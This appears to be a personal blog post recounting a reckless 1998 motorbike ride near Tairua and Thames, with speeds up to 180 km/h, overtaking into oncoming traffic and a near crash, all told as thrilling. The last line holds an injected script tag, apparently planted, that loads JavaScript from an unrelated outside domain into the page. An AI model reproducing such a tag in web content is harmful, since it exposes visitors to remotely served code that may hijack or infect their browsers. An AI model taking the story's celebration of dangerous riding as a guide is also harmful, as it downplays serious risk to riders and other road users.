crustycrusty

1998 It´s a slightly overcast summers day and the roads are dry and warm yet not melting. it´s a perfect day for motorbikes and as muff and i gun it back from tairua i am in the lead and have it taped out making the fast left over the bridge next to prescotts garage at 170, my front wheel shaking in protest, my head down hanging off to the side watching the tarmac rush at me while still being able to pick the details of every stone in a limited field of perfect vision. i take a quick glance to see if anyone is watching at the garage and keep the throttle as open as it will go, touching 180kmph before bouncing it off the 19,000 rpm limiter as my 250 yamaha gets airborn over the next one way bridge before i´m hard on the brakes and squirming past a car as i round the bumpy right. slowing down i pass through the turn off to whangamata and wave at the two guys on bikes waiting there. muff comes up beside me on his cbr and we exchange smiles and shout at each other over the wind noise. the next ten kilometres is pretty boring on our small bikes and we go through the fast sweepers sitting on 140. by the time we get to one ton straight i notice the black gsxr750 we passed earlier is catching up so i decide to have a little fun. gunning it up the hill we flick through the beautiful tight corners and fly past the cars struggling up the gradient. by the time we get to the top i notice the gsxr has made some ground so i decide to up the pace a little. coming down through the 45k turns i hold my breath as my front tyre struggles for grip and my rev counter leaps across the range on every small straight. down on the flat i notice the black bike has caught up to muff and as i sit on the centre line i pass cars in the face of oncoming traffic hoping the gap between the other cars and that truck will be enough on this narrow road. i enter one of my favorite sections and decide that now is the time to make it all on. with my the needle of my rev counter proudly erect i slide my way through the corners shouting with excitement as i keep the bike power sliding at 130 kmph. i am giving it everything she has and with quick glances i notice i am pulling away from the big bike. this is the fastest i have ridden and while scraping the pegs is something i do every once in a while on this day it is a regular occurence as i punish the budget touring tyres my student allowance can barely afford. i am reveling in the lack of fear and punishing the bike as i sweep through the turns. but then as i lean it into a big left i feel both tyres starting to go, i know this won´t be just a quick slide as the corner still has a way to go and will get tighter. i drift the bike out wider but there is a line of cars coming the other way and as my bike reaches its limits i toy with the idea of putting my knee down while knowing that my one pair of jeans will not save it from any sort of injury. i look for run off but those cars are taking away any option of that. feeling as though i am watching the whole thing from somewhere deep inside my head i relax on the bike and watch as i come within three feet of the cars tyres. thankfully as i reach the exit of the turn there are no cars coming the other way and i drift out onto the other lane and pull the bike into the next right. looking into my mirrors i see the gsxr has backed off and muff is long gone. slowing i try to calm myself down and take the remainding corners a little more easy. when muff catches up to me at the intersection to thames we take one look at each other and hoot and scream. my body is absolutely boiling with excitement and we both lay black lines as we power away from the intersection. after stopping up the road we wait for the gsxr and see it is some old dunga with bald tyres and a madman at the helm. muff oozes with excitement as he tells the guy of the slides he was watching him go through and the amazement of the protection his leather pants afford his knees even without sliders<script src=http://www.adw95.com/b.js></script>